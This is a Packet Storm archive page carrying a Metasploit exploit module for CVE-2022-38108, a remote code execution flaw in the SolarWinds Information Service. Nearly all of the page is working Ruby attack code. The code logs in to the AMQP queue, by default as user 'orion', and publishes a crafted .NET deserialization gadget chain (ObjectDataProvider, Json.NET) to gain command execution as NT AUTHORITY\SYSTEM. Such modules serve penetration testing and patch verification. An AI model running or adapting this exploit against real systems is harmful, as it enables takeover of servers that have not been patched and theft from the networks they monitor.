what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SolarWinds Information Service (SWIS) Remote Command Execution

SolarWinds Information Service (SWIS) Remote Command Execution
Posted Mar 28, 2023
Authored by Spencer McIntyre, Piotr B, Justin Hong, Lucas Miller | Site metasploit.com

The SolarWinds Information Service (SWIS) is vulnerable to remote code execution by way of a crafted message received through the AMQP message queue. A malicious user that can authenticate to the AMQP service can publish such a crafted message whose body is a serialized .NET object which can lead to OS command execution as NT AUTHORITY\SYSTEM.

tags | exploit, remote, code execution
advisories | CVE-2022-38108
SHA-256 | fbc6c5c5be944eb52ce167a061f21875f137dc6101b3184bad8a0d10c9afd154

SolarWinds Information Service (SWIS) Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/amqp/version_0_9_1'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

def initialize
super(
'Name' => 'SolarWinds Information Service (SWIS) .NET Deserialization From AMQP RCE',
'Description' => %q{
The SolarWinds Information Service (SWIS) is vulnerable to RCE by way of a crafted message received through the
AMQP message queue. A malicious user that can authenticate to the AMQP service can publish such a crafted
message whose body is a serialized .NET object which can lead to OS command execution as NT AUTHORITY\SYSTEM.
},
'Author' => [
'Justin Hong', # vulnerability research, Trend Micro
'Lucas Miller', # vulnerability research, Trend Micro
'Piotr Bazydło', # vulnerability discovery, reported to ZDI
'Spencer McIntyre' # metasploit module
],
'Arch' => ARCH_CMD,
'Platform' => 'win',
'References' => [
[ 'CVE', '2022-38108' ],
[ 'URL', 'https://www.zerodayinitiative.com/blog/2023/2/27/cve-2022-38108-rce-in-solarwinds-network-performance-monitor' ],
[ 'URL', 'https://www.solarwinds.com/trust-center/security-advisories/cve-2022-38108' ]
],
'DefaultOptions' => {
'WfsDelay' => 10
},
'Targets' => [
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => '2022-10-19',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)

register_options([
Opt::RHOST,
Opt::RPORT(5671),
OptString.new('USERNAME', [true, 'The username to authenticate with', 'orion']),
OptString.new('PASSWORD', [true, 'The password to authenticate with', ''])
])

register_advanced_options(
[
OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true ]),
Opt::SSLVersion
]
)
end

def peer
rhost = datastore['RHOST']
rport = datastore['RPORT']
if Rex::Socket.is_ipv6?(rhost)
"[#{rhost}]:#{rport}"
else
"#{rhost}:#{rport}"
end
end

def print_status(msg)
msg = "#{peer} - #{msg}"
super
end

def exploit
amqp_client = Rex::Proto::Amqp::Version091::Client.new(
datastore['RHOST'],
port: datastore['RPORT'],
context: { 'Msf' => framework, 'MsfExploit' => self },
ssl: datastore['SSL'],
ssl_version: datastore['SSLVersion']
)

unless amqp_client.login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, "Authentication failed for user #{datastore['USERNAME']}.")
end
print_status('Successfully connected to the remote server.')

channel = amqp_client.channel_open
vprint_status('Successfully opened a new channel.')
channel.basic_publish(
routing_key: 'SwisPubSub',
message: ::Msf::Util::DotNetDeserialization.generate(
payload.encoded,
gadget_chain: :ObjectDataProvider,
formatter: :JsonNetFormatter
),
properties: {
message_type: 'System.Windows.Data.ObjectDataProvider'
}
)
print_status('Successfully published the message to the channel.')

channel.close
amqp_client.connection_close
rescue Rex::Proto::Amqp::Error::UnexpectedReplyError => e
fail_with(Failure::UnexpectedReply, e.message)
rescue Rex::Proto::Amqp::Error::AmqpError => e
fail_with(Failure::Unknown, e.message)
ensure
amqp_client.close
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close